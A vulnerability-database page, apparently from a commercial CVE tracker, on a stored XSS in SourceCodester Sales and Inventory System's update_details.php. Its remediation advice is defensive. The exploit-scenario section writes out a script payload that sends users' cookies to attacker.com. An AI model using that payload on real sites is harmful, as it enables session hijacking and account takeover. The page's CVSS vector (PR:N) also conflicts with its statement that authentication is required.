Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While CVSS metrics are unavailable, multiple signals indicate moderate-to-high real-world risk. The vulnerability requires authenticated access (limiting initial attacker reach to users with account credentials or those who can social-engineer valid accounts), but once injected, the payload persists and automatically executes for all users accessing the affected page-including administrative users-enabling session hijacking, credential theft, or malware distribution. The existence of publicly available proof-of-concept code lowers the barrier to exploitation. The primary mitigating factor is that this affects a niche open-source inventory system with a relatively small user base compared to mainstream platforms. However, for affected organizations, the impact is significant: an authenticated insider or compromised account can compromise all users of the system. SSVC framework would likely classify this as Exploitable (POC exists) with Automatable impact (XSS payloads are easily generalized) and potentially High technical impact if administrators are affected. |
| Exploit ScenarioDerived | A disgruntled employee with a valid login account accesses the Sales and Inventory System and navigates to the store details page. They inject a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the website field and submit the form. The payload is stored unencoded in the database. When the system administrator or other users later view the store details page, the injected script automatically executes in their browser, sending their session cookies to the attacker's server, enabling account takeover. A public proof-of-concept demonstrates this attack vector, making it reproducible by anyone with system access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Stored cross-site scripting (XSS) in SourceCodester Sales and Inventory System 1.0 allows authenticated attackers to inject malicious scripts via the unvalidated website parameter in update_details.php, which are persisted in the database and executed whenever the store details page is accessed by any user. Publicly available exploit code exists, though the vulnerability requires prior authentication and affects primarily self-hosted instances of this open-source inventory management application.
RemediationAI
Developers and system administrators should immediately update to a patched version if available from SourceCodester; however, no vendor-released patch version is independently confirmed in provided data. As an interim mitigation, validate and sanitize the website parameter using a whitelist of allowed URL schemes (http, https only) and apply HTML entity encoding (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag) to all user-supplied input before storing in the database. Additionally, when rendering the website field in HTML output, use context-aware encoding appropriate to the context (e.g., URL encoding for href attributes, HTML entity encoding for text content). Implement a Content Security Policy (CSP) header to restrict inline script execution. For self-hosted instances, restrict access to the update_details.php endpoint to trusted administrators only via network access controls or authentication tokens with appropriate expiration.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from inadequate input validation and output encoding in a PHP-based inventory management application. The update_details.php endpoint accepts a POST parameter named website without sanitizing or validating the input before storing it in a backend database. When the store details page is rendered to subsequent users, the unsanitized website parameter is echoed directly into the HTML response without proper context-aware encoding, allowing injected JavaScript to execute in the browser context of any user viewing that page. This is a classic Stored XSS vulnerability (also called Persistent XSS), where the payload survives across sessions and affects all users, making it more severe than reflected XSS. The vulnerability class relates to improper neutralization of input during web page generation (CWE-79 equivalent).
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the update_details.php file. The application fails to sanitize the "website" parameter provided in a POST request. This allows authenticated attackers to inject arbitrary web script or HTML that is stored in the database and executed whenever the store details page is accessed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in SourceCodester Sales and Inventory System XSS
View all 11In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-17102
GHSA-9xmr-r5f9-5hvx
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB